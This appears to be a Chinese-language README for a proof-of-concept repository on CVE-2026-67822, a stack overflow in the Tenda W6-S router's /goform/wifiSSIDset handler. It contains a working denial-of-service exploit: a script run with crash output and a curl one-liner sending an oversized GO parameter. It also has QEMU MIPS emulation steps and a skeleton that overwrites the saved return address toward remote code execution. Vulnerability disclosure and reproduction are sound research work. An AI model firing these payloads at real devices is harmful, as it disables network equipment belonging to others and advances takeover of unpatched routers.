CVE-2026-67822(Tenda W6-S /goform/wifiSSIDset 栈溢出)的 PoC:DoS 复现程序、QEMU MIPS 仿真层与概念性 RCE 载荷骨架。
wifiSSIDset 栈缓冲区溢出(PoC)Hunt-Benito 文章的配套 PoC
"GO 无边界:CVE-2026-67822 — Tenda W6-S 的 wifiSSIDset 表单处理器中的栈溢出"。
CVE-2026-67822(CVSS 9.8 严重,CWE-121)是 Tenda W6-S 无线接入点的 /bin/httpd(一个源自 GoAhead 的 Web 服务器)中 /goform/wifiSSIDset 端点背后的 C 函数 formwrlSSIDset() 中存在的一个基于栈的缓冲区溢出漏洞。
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
已确认的影响: 拒绝服务(httpd 崩溃)。
潜在的影响: 远程代码执行(MIPS,该构建无栈金丝雀 / 无 ASLR)。
针对真实 W6-S(默认局域网 IP 192.168.5.10)或仿真实例:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
等效的单行命令:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
请求返回后,管理接口将一直无响应,直到重新上电。
fake_apmib.so)/bin/httpd 期望真实的 Tenda 硬件环境(libapmib.so、cfmd 守护进程、局域网 MAC)。fake_apmib.c 垫片仅伪造了其中足够的部分,使 httpd 能在仿真的固件文件系统内启动。该设置复刻了原研究者的技术。
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpdguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
现在可通过 http://192.168.5.10 访问管理接口(默认登录名 admin / admin),poc_dos.py 在它上面的运行效果与在真实硬件上完全相同。
Tenda 内部
apmib/cfmd辅助函数的确切原型因固件构建而异。请对照目标的真实libapmib.so(objdump -T libapmib.so/ IDA)进行确认,并按需调整fake_apmib.c。
exploit_conceptual.py 记录了 DoS 之外的利用形态:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
此骨架仅重定向 $ra。 要将劫持转化为实际的代码执行,需要非 NX 栈的 shellcode,或由特定固件镜像中的 gadget 拼装而成的 ROP 链 — 两者均与具体构建相关,且有意留给研究者完成。DoS 已得到确认;RCE 是 CVSS 向量(C:H/I:H)所反映的合理的最坏情况。
此代码仅供经授权的安全研究使用。请仅在您拥有或已获得明确书面测试许可的设备上运行。请勿将其用于您无法控制的网络或硬件。
| 受影响产品 | Tenda W6-S 无线接入点 |
| 受影响固件 | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121(基于栈的缓冲区溢出) |
| 存在漏洞的端点 | POST /goform/wifiSSIDset(参数 GO、index) |
| 发现者 / 致谢 | trister |
| 文件 | 用途 |
|---|
poc_dos.py | 已确认的 DoS 复现脚本。 发送超大的 GO 参数并检测由此导致的 httpd 崩溃。仅使用标准库 — 无依赖。 |
exploit_conceptual.py | 概念性 RCE 骨架。 演示控制流劫持的形态(填充至已保存的 $ra 并覆盖),并提供一个循环模式辅助工具,用于通过实验推导出到 $ra 的偏移量。不附带可用的 shellcode 或 gadget 地址。 |
fake_apmib.c | LD_PRELOAD 垫片,用于伪造 Tenda 硬件/MIB 调用,使 /bin/httpd 能在 QEMU MIPS 客户机中启动 — 这是在无物理设备的情况下复现该漏洞所用的技术。 |
| 垫片拦截 | 返回 | 原因 |
|---|
apmib_init() | 1 | 跳过硬件/MIB 初始化 |
ConnectCfm() | 1 | 假装 cfmd 守护进程已应答 |
GetValue("lan.ip", …) | 192.168.5.10 | 静态管理 IP |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | 伪造的 MAC |
connect() | 透传 | unix 套接字/TCP 连接正常完成 |